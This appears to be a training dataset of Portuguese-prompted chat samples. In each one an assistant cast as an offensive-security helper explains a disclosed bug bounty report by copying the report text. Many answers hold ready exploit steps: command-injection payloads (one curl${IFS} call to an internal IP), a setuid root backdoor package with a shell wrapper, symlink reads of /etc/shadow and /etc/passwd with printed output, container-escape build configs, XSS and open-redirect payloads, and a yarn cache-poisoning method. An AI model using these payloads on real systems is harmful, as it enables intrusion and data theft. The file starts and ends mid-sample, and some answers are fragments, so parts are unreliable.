#include <stdlib.h>

int main(void)
{
    void *ptr = malloc(10);
    if (!ptr)
        return -1;
    int len = 0x7fffffff;
    void *ptr2 = realloc(ptr, len);
    if (!ptr2) {
        printf("Triggered realloc failure\n");
        return 0;
    }
    return -1;
}
```

### Impacto
Double-free after a 'realloc()' failure, which could be triggered remotely, depending on the use context of the 'read_data()' function.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Double-free of `trailers_buf' on `Curl_http_compile_trailers()` failure

[Assistant]
### Resumo da Vulnerabilidade
When `Curl_http_compile_trailers()` fails, `trailers_buf` is freed twice, because we don't pass to this function the pointer value by reference.

### Passos para Reproduzir
Did not actually reproduce, please double check patch attached and analysis.

### Impacto
Some memory corruption due to the double-free.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Incorrect IPv6 literal parsing leads to validated connection to unexpected https server.

[Assistant]
### Resumo da Vulnerabilidade
The IPv6 ip address can be specified with square brackets like [fe80::3]. There can also be a zone id specified like [fe80::3%15]. A URL can specify its hostname with IPv6 literal,

It seems that the parsing in curl library is not complete. For instance, it is possible for particular IPv6 literals to trigger an http or https request on rather unexpected hostname.

See for instance the potentially misleading hostname:
`https://[ab.be%google.com]/query`

When used with the available online sample program 'simple.c', there is no error. The https request is performed on the Belgian website 'https://ab.be' and the SSL certificate is properly validated against 'ab.be', not 'google.com'.

### Passos para Reproduzir
1. Build attached modified `simple.c`
  2. `gcc simple.c && ./a.out https://[ab.be%google.com]/query`
  3. Check with Wireshark actual DNS / IP traffic, actually is https and corresponds to 'ab.be'

- The command line 'curl' binary itself is performing sanities so the url above is rejected.
- The 'Host:' header field happens to contain square brackets. An attacker would have an http server handling that detail. Currently 'ab.be' responds with error 400 bad request.

### Impacto
User might get confused and connect on the wrong hostname.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: OS Command Injection in Nexus Repository Manager 2.x(bypass CVE-2019-5475)

[Assistant]
### Passos para Reproduzir
1. Navigate to "Capabilities" in Nexus Repository Manager.

2. Edit or create a new Yum: Configuration capability

3. Set path of "createrepo" or "mergerepo" to an OS command (e.g. `/bin/bash -c curl${IFS}http://192.168.88.1:8000/ || /createrepo`)

![](2.png)

### Impacto
An authenticated user with sufficient privileges in a Nexus Repository Manager installation can exploit this to execute code on the underlying operating system.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: OS Command Injection on Jison [all-parser-ports]

[Assistant]
### Passos para Reproduzir
1. Installing Jison command-line tool via `npm install jison -g`
2. Obtaining *Jison* parsing templates : `git clone https://github.com/zaach/jison`
3. `cd jison/ports/csharp/Jison/Jison/`
4. Payload : `node csharp.js "echo''>pwned"`
5. Check if the attack was successful or not (dummy payload was executed or not): `ls -la`

Similarly, `/ports/php/php.js` is vulnerable too as it contains the same blob ([php.js#L19](https://github.com/zaach/jison/blob/bcf986e180359aa2404b1b73ecbfef1df4c6b011/ports/php/php.js#L19)). `""` was added just to isolate the payload.

### Impacto
Arbitrary OS command execution.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: XSS while logging using Google

[Assistant]
### Passos para Reproduzir
Step1: Go to https://YOURSHOP.myshopify.com/admin/settings/account
Step2: Login Services: Staff can use Google Apps to log in -->> Enable Google Apps for login
Step3: Now staff can log in using Google
Step4:  Log out from your account
Step5: Now go to following Url and try to log in using Google

### Impacto
The attacker can steal data from whoever who try to login using Google!!


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [reveal.js] XSS by calling arbitrary method via postMessage

[Assistant]
### Passos para Reproduzir
Open one of these links in any browser and wait for the page to load:

* http://spqr.zz.mu/reveal.php
* http://spqr.zz.mu/reveal_open.php

{F579591}

### Impacto
Gaining access to the victim's account and performing actions on his behalf


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Access to ██████████████ due to weak credentials

[Assistant]
### Passos para Reproduzir
1. Open █████████████████████████
  1. Enter `█████████` ███████ username and password field.
  1. You now have access to the analytical data.

### Impacto
An attacker can bypass the authentication check and access the internal analytical data.

PS: apart from the analytical data, I wasn't able to find much.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Open Redirect in the Path of vendhq.com

[Assistant]
### Passos para Reproduzir
Type in this URL:

```
https://www.vendhq.com//evil.com/
```

As, you can see it redirects to that website when you inject this payload:
 ```
//evil.com/
```

evil.com was used as an example but this could be any website note, the `//` is the bypass.

### Impacto
* Attackers can serve malicious websites that steal passwords or download ransomware to their victims machine due to a redirect and there are a heap of other attack vectors.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Path traversal in https://www.npmjs.com/package/http_server via symlink

[Assistant]
### Passos para Reproduzir
1. Install the http_server: npm install http_server -g

2. Create a symlink file within the directory
ln -s /etc/shadow test_shadow

3. Request the file within browser
http://localhost:8888/test_shadow

### Impacto
It allows attacker to read content of arbitrary file on remote server and could leverage attacks like remote code execution.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Privilege escalation in workers container

[Assistant]
### Passos para Reproduzir
1. Create a malicious package contains the backdoor:

I use this guide (https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/) to create the package.

With the content of ``postinst`` is

```
#!/bin/sh

ps -ef
sudo cp /opt/src/run /suidfs/passwd && sudo chown root:root /suidfs/passwd && sudo chmod 04755 /suidfs/passwd && ln -s /suidfs/passwd /usr/bin/setpasswd && setpasswd id &

```

Content of ``/opt/src/run``:

```
#include <stdio.h>
void main(int argc, char *argv[]) {
    setreuid(0, 0);
    system(argv[1]);
}
```
After that i will got a malicious ``.deb`` package.

2. Create a config file to install this malicious package:

Because the source code is imported before the ``prepare`` step happens, so i will be able to install this package by point directly to it like this ``/opt/src/work.deb``.

The install command now will be like this ``apt install -y --no-recommend /opt/src/work.deb``. And it is ``legal``.

The build config:
```
extraction:
  java:
    prepare:
      packages:
        - /opt/src/work.deb
    after_prepare:
      - echo pwned >> /opt/out/snapshot/log/build.log
      - /usr/bin/setpasswd 'id'
```
After that the build will failed, and attacker will get root on the container by running the setuid backdoor

### Impacto
Attacker will get root access and will be able to dump every sensitive datas in the server!


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [expressjs-ip-control] Whitelist IP bypass leads to authorization bypass and sensitive info disclosure

[Assistant]
### Passos para Reproduzir
1. Install the module: `npm i expressjs-ip-control`
2. Create a PoC file like this:

```js
// poc.js
const express = require('express')
const app = express()
const ipControl = require('expressjs-ip-control')

app.get('/', ipControl({
    whitelist: '127.0.0.1, 192.168.10.10',
}), (req, res) => res.send('SECRET TOKEN ACCESSIBLE ONLY BY LOCAL PC'))

app.listen(3000)
```
3. Run the PoC: `node poc.js`
4. Now, test the `whitelist` protection with this commands:

```bash
curl 'http://localhost:3000/' # Obtain *403* response --> *You do not have rights to visit this page*
curl 'http://localhost:3000/' -H 'X-Forwarded-For: 127.0.0.1' # Obtain *200* response --> secret token
```
{F581254}

### Impacto
`Whitelist IP bypass`, leading to`Authorization issue` on `expressjs-ip-control`, may lead to `sensitive information disclosure`


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Worker container escape lead to arbitrary file reading in host machine

[Assistant]
### Resumo da Vulnerabilidade
Because lack of security, attacker will be able to remove original log file and replace it will a symlink to other file,
After finishing job, host machine copy file from docker container.
Because the original log file has been removed, the host machine will copy the symlink file.
But the problem is it doesn't copy the linked file in container, it copys the linked file in the HOST MACHINE.

### Passos para Reproduzir
The attack is very simple, just remove the original build.log file and replace with a symlink file,
I used this configuration to read the ``/etc/passwd``:
```extraction:
  cpp:
    after_prepare:
      - rm -rf /opt/out/snapshot/log/build.log && ln -s /etc/passwd /opt/out/snapshot/log/build.log
```

### Impacto
Give attacker ability to explore the host machine, expose more sensitive informations from it.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Buffer write overflow when forming dns over http request

[Assistant]
### Resumo da Vulnerabilidade
If dns over http is used, the hostname to look up is packed into a buffer to send to the dns server using the doh_encode function from the doh.c source file. By default, curl uses a 512 byte buffer. For that length,  the buffer may be overflowed with one byte, which is set to 1.

Note that this happens even with the fix in https://github.com/curl/curl/pull/4345 which Daniel made after I emailed about a similar bug in the curl/doh repository.

### Passos para Reproduzir
Build curl with address sanitizer, and/or add an assert
assert(*olen <=len) ;
right before returning from doh_encode() in doh.c https://github.com/curl/curl/blob/65f5b958c95d538a9b205e2753a476d1a7c89179/lib/doh.c#L135

Then issue a curl request:
 `src/curl --doh-url https://irrelevant/ x....xxxxxxxxxxxxxxxxxxxxx.x....x.xxxxxxxxxx.xxxxxxxxx.xxxxxxxxxxx.xxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxx...xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.x.x.......xxxxxxxxxxxxxxxxxxxxxx...xxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx......xxxxxx.....xx..........xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.xxxxxxxxxxxxxxxx..x......xxxxxxxx..xxxxxxxxxxxxxxxxxxx.x...xxxx.x.x.x...xxxxx`

### Impacto
If the attacker somehow can control the hostname eventually used by curl, and DOH is in use, the buffer overflow can happen.

For the common case where dnsprobe.dohbuffer is used, the overwrite may be immediately remedied by assignment to the length (see https://github.com/curl/curl/blob/65f5b958c95d538a9b205e2753a476d1a7c89179/lib/doh.c#L195 )
This relies on the compiler not rearranging the writes.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [snekserve] Stored XSS via filenames HTML formatted

[Assistant]
### Passos para Reproduzir
1. Create a PoC file like this:

```html
<!-- malicious.html -->
<script>alert(document.domain)</script>
```
2. Run the following commands:

```bash
npm i snekserve -g # Installs the CLI version of the module
mkdir '<iframe src=..\malicious.html>' # Creates the malicious *HTML formatted* folder
snekserve # Starts the server
# Open a browser and go on http://localhost:8080
```
3. Opening the server initialized (on `localhost:8080`), you'll see the `alert(document.domain)` code executed :) {F582927}

### Impacto
`Stored XSS` on `snekserve` via `filename HTML injection`


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Resource leak when using a normal site as DOH server

[Assistant]
### Resumo da Vulnerabilidade
If a DOH server is used, which is not really a DOH server but just a normal web server, the DNS request is sent but the reply will not be the expected DNS payload. In that case, curl correctly thinks DNS resolution failed, but it does not clean up allocated memory properly.

### Passos para Reproduzir
See the attached demonstration program. It can use either no DOH, a valid DOH, a garbage DOH address, or a valid web server not serving DOH.
Valgrind sees that it leaks memory only in the last case, the others are cleaned up properly.

### Impacto
The failed DOH is invisible to the end user, it seems to fallback to normal DNS.
So if the user has the wrong DOH adress (perhaps confused, or the DOH url changed slightly and now points to some generic hello page), I guess the memory leaks will add up, eventually leading to denial of service because of resource depletion.

It does not feel like a serious issue but I wanted to go through hackerone instead of filing a public report right away.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Path traversal using symlink

[Assistant]
### Passos para Reproduzir
* Install statics-server `npm install statics-server -g`
* Run statics-server

```
hawkeye@ubuntu:~/App/$ statics-server
服务器已经启动
访问localhost:8080

```

* Create a symlink inside your project directory.
`$ ln -s /etc/passwd passwdsym`
* Send request to get file.

```
hawkeye@ubuntu:~/$ curl localhost:8080/passwdsym
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
...

```
{F583766}

### Impacto
It allows attacker to read content of arbitrary file on remote server.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: "Bounties paid in the last 90 days" discloses the undisclosed bounty amount in program statistics

[Assistant]
### Resumo da Vulnerabilidade
I have found a bypass on this disclosed report: [Know undisclosed Bounty Amount when Bounty Statistics are enabled.](https://hackerone.com/reports/148050)

### Impacto
Disclosing the undisclosed bounty amount for program which is not disclosing bounties in their settings.

Let me know if anything else is needed.

Regards
Japz


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Potential invocation of qsort on uninitialized memory during cookie save

[Assistant]
### Resumo da Vulnerabilidade
If cookiejar is set, cookies are written to file at exit. That is done by the function cookie_output() in cookie.c. The cookies are sorted before being stored, using qsort on a temporary array. That temporary array is uninitialized (gotten from malloc at https://github.com/curl/curl/blob/7c596f5dea586c1ba99dfbe7f3ce1996d82f7de0/lib/cookie.c#L1534 ). This would not be a problem unless there also is a bug in the range given to qsort
https://github.com/curl/curl/blob/7c596f5dea586c1ba99dfbe7f3ce1996d82f7de0/lib/cookie.c#L1550
which is numcookies. However, it should be j which is used for counting at https://github.com/curl/curl/blob/7c596f5dea586c1ba99dfbe7f3ce1996d82f7de0/lib/cookie.c#L1546.

The buffer passed to qsort is partially filled with cookie data, and the rest is uninitialized. When qsort sorts, it will dereference the supposed to be pointers to compare the elements and depending on the results jump around reading in memory.

### Passos para Reproduzir
I found this through fuzzing and I do not want to make that public until the problems I find are fixed - in case you want it now already, just hit me up. I attached the most important part of the fuzzer.

It is not obvious how to reproduce without the fuzzer: (c->numcookies must be nonzero and co->domain must not be set on at least one of them for this bug to be triggered. Perhaps by loading an evil cookie file from disk.

To detect it, address and undefined sanitizers are not sufficient. That is likely because qsort is a library function, so it's not instrumented. Valgrind does not always catch it either. I found it by adding an assert on pointer alignment inside the cookie_sort_ct(), and eventually found which of the 60000 test cases I had caused it.

### Impacto
This is read access, and if triggered it will perhaps cause a crash (segmentation fault), and the cookie jar is not written. So a fairly benign bug.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Worker container escape lead to arbitrary file reading in host machine [again]

[Assistant]
### Resumo da Vulnerabilidade
After a successful build, LGTM allow user to view the file list.
By default, only source code files and build config files are reserved (``lgtm.yml`` and ``.lgtm.yml``).
If there are both files in folder, LGTM will process ``lgtm.yml`` file and skip ``.lgtm.yml``, but it still keeps both of files in directory.
By making symlink to ``.lgtm.yml`` file, after successful build, it will point to HOST MACHINE file!

### Passos para Reproduzir
1. Create a simple project which LGTM can build successful.
In this report, I use this project (https://github.com/testanull/test11)
2. Create file: ``lgtm.yml``  with a valid config content, for example:

```
extraction:
  java:
    index:
      build_command:
      - ./custom-build
```

3. Make a symlink point to a HOST MACHINE file/directory with name: ``.lgtm.yml``
4. After successful build, ``.lgtm.yml`` file will contain the host machine file content!

### Impacto
Give attacker ability to explore the host machine, expose more sensitive informations from it.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: bypass captcha in the form forgot password

[Assistant]
### Resumo da Vulnerabilidade
In this issue I can bypass Captcha Protection in the Forgot Password form.

### Passos para Reproduzir
1-Enter your email in the forgot password parameter.
2-complet captcha
3-Capture the request in the proxy.
4-delete captcha parameter from request.
5-check response

### Impacto
email leakage


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [tree-kill] RCE via insecure command concatenation (only Windows)

[Assistant]
### Passos para Reproduzir
1. Create the following PoC file:

```js
// poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
```
1. Execute the following commands in another terminal:

```bash
npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)
```
1. A new file called `HACKED.txt` will be created, containing the `HACKED` string
Note I can't provide a screenshot as I'm working on `Linux` (I'll be able to reinstall win only the next week), but the code showed in the module (line 20) makes clear the attack is possible. Pls note I'm not sure of the `batch syntax used` , as said I can't verify it on a `win` machine. Before close the report, share with me eventual problems, in order to make me able to determine if the provided PoC is fully working or lacks in something :)

### Impacto
`RCE` on `tree-kill` via `insecure command concatenation`


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Reset any password

[Assistant]
### Resumo da Vulnerabilidade
When I try to reset the password, the verification code of the mailbox is 6 digits, and there is no limit on the number of submissions, so I can reset the password of any user.

### Passos para Reproduzir
1.input the email  [reset password url](https://www.pixiv.net/reminder.php).
{F595146}
click  the "submit" button
{F595147}
input the email verification code and try to guess the verification code, but I won’t be able to continue using it after I try it a few times.

{F595148}

2.After trying, I found that there was no such submission restriction when the password was reset in the third step.

Repeat the above steps, the only difference is that you need to enter the correct verification code.

{F595160}
It can be seen that when we reset the password in the last step, the verification code will still be sent, that is, the verification code will be sent to the server for validity verification in the last step, and the verification code of the last step is not limited by the number of submissions. In other words, we can guess the verification code.

I wrote a python script to verify the vulnerability, you only need to enter the following parameters to verify the vulnerability.

parameter：tt code_id code phpsession

python: {F595166}
video: {F595172}

### Impacto
Reset any user's password


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [yarn] yarn.lock integrity & hash check logic is broken

[Assistant]
### Passos para Reproduzir
Code to reproduce is shared with Yarn maintainers via https://github.com/ChALkeR/yarnbug2.

It used the following logic:

(1). Create a `yarn.lock` file by installing the _payload_ package or tgz file, e.g.:
```
  "dependencies": {
   "ponyhooves": "^1.0.1"
  }
```
```
ponyhooves@^1.0.1:
  version "1.0.1"
  resolved "https://registry.yarnpkg.com/ponyhooves/-/ponyhooves-1.0.1.tgz#e57c9c3e976d570f97f229356ca5d6ee13efd358"
  integrity sha1-5XycPpdtVw+X8ik1bKXW7hPv01g=
```

(2). Replace the package name, version, and hash with _target_ package. Leave integrity intact.

```
  "dependencies": {
    "express": "4.11.1"
  }
```
```
express@4.11.1:
  version "4.11.1"
  resolved "https://registry.yarnpkg.com/ponyhooves/-/ponyhooves-1.0.1.tgz#36d04dd27aa1667634e987529767f9c99de7903f"
  integrity sha1-5XycPpdtVw+X8ik1bKXW7hPv01g=
```

(3). Installing this yarn.lock will pollute `express@4.1.11` package in yarn cache (if it is not already present there). Any future installs of `express@4.1.11` will resolve to this payload package -- hashes match with express, and integrity check is ignored.

### Impacto
Pollute local yarn cache with malicious packages and bypass hash/integrity checks.

It is even possible to execute `postinstall` this way even if the original malicious package has been installed with `yarn --ignore-scripts`.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [node-df] RCE via insecure command concatenation

[Assistant]
### Passos para Reproduzir
1. Create the following PoC file:

```js
// poc.js
var df = require('node-df');
var options = {
        file: '/;touch HACKED',
        prefixMultiplier: 'GB',
        isDisplayPrefixMultiplier: true,
        precision: 2
    };

df(options, function (error, response) {
    if (error) { throw error; }

    console.log(JSON.stringify(response, null, 2));
});
```
1. Execute the following commands in terminal:

```bash
npm i node-df # Install affected module
ls # Make sure there isn't any *HACKED* file
node poc.js #  Run the PoC
ls # The *HACKED* file has been created
```
1. The `HACKED` file will be created {F594172}

### Impacto
`RCE` on `node-df` via `insecure command concatenation`


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: [treekill] RCE via insecure command concatenation (only Windows)

[Assistant]
### Passos para Reproduzir
1. Create the following PoC file:

```js
// poc.js
var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
```
1. Execute the following commands in terminal:

```bash
npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)
```
1. The `HACKED.txt` has been created

### Impacto
`RCE` on `treekill` via `insecure command concatenation`


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Origin IP found, Cloudflare bypassed

[Assistant]
### Resumo da Vulnerabilidade
Non-Cloudflare IPs allowed to access origin servers

### Impacto
As reported in many other submissions, Cloudflare bypasses can have a significant impact, as any adversary is now able to communicate with the origin server directly, enabling them to perform unfiltered attacks (such as denial-of-service), and data retrieval.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: DOM XSS at www.forescout.com in Microsoft Edge and IE Browser

[Assistant]
### Resumo da Vulnerabilidade
I've found an DOM Based XSS on homepage

### Passos para Reproduzir
1.Go to this url and you'll see alert pop
`https://www.forescout.com/#<img src=x onerror=alert('XSS')>`

But this will work just on ME/IE browsers because chrome and firefox have default encode system hash url

And vulnerable code is on your directly source code within jquery code. As you can see there is no encode in ==window.location.hash== code so when we open the page with #<img src=x onerror=alert(1)> it executes code.

`jQuery(window).load(function() {
    jQuery('a.fancybox-inline[href="' + window.location.hash + '"]:first').each(function() {
        jQuery(this).delay(700).trigger('click');
    });
});`

### Impacto
--Hacker can execute malicious codes in victim's browser
--Hacker can redirect user to malicious website
--Hacker can steal victim's cookies etc.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: SSRF via maliciously crafted URL due to host confusion

[Assistant]
### Resumo da Vulnerabilidade
Curl is vulnerable to SSRF due to improperly parsing the host component of the URL compared to other URL parsers and the [URL living standard](https://url.spec.whatwg.org/).

### Impacto
If another library implementing the URL standard is used to white/blacklist a request by host but the actual request is made via curl or the curl library, an attacker can smuggle the request past the URL validator thus allowing an attacker to perform SSRF or an open redirect attack.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Stored XSS vulnerability in comments on *.wordpress.com

[Assistant]
### Resumo da Vulnerabilidade
The SyntaxHighlighter plugin used in the comments section of *.wordpress.com sites is vulnerable to stored XSS via a crafted payload.

### Passos para Reproduzir
1. Visit https://mattstestsite128160580.wordpress.com/2019/10/03/test-post/ in Firefox or Chrome.
1. Submit `[code]javascript://%0dalert%28document.cookie%29[/code]` as a comment.
1. Click the `javascript://` portion of the rendered highlighted code.

### Impacto
The attacker can execute arbitrary JavaScript as the victim user's account with the security context of the <site>.wordpress.com domain.


[System] Você é um assistente de inteligência artificial especializado em segurança ofensiva e pentest. Seu objetivo é ajudar pesquisadores de segurança a entender vulnerabilidades reais, fornecendo resumos técnicos, passos de reprodução e análises de impacto baseadas em relatórios reais de bug bounty.

[User] Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Rate Limit Misconfiguration on tumblr login .

[Assistant]
### Resumo da Vulnerabilidade
